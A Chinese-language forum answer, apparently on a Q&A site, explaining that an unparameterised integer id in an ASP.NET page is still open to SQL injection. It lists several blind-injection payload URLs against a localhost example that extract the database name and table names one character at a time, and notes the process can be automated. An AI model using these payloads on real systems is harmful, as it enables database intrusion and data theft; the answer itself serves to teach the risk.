不,您可以通过这种方式获得SQL注入攻击。我用土耳其语写过一篇老文章,说明了这里的用法。PHP和MySQL中的文章示例,但在C#和SQL Server中概念相同。
基本上,您会按照以下方式进行攻击。假设您有一个页面,该页面根据整数id值显示信息。您不会像下面这样参数化此值。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=24
好的,我假设您正在使用MySQL,并且按照以下方式进行攻击。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII((SELECT%20DATABASE()))
请注意,这里注入的值不是字符串。我们正在使用ASCII函数将char值更改为int。您可以使用“ CAST(YourVarcharCol AS INT)”在SQL Server中完成相同的操作。
之后,我使用length和substring函数来查找您的数据库名称。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=LEN((SELECT%20DATABASE()))
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR(SELECT%20DATABASE(),1,1))
然后使用数据库名称开始在数据库中获取表名称。
http://localhost/sqlEnjeksiyon//instructors.aspx?id=ASCII(SUBSTR((SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1),1,1))
当然,您必须自动执行此过程,因为每个查询只能得到一个字符。但是您可以轻松地自动化它。我的文章在watir中显示了一个例子。仅使用一页,而不使用参数化的ID值。我可以了解您数据库中每个表的名称。之后,我可以寻找重要的表格。这需要时间,但可行。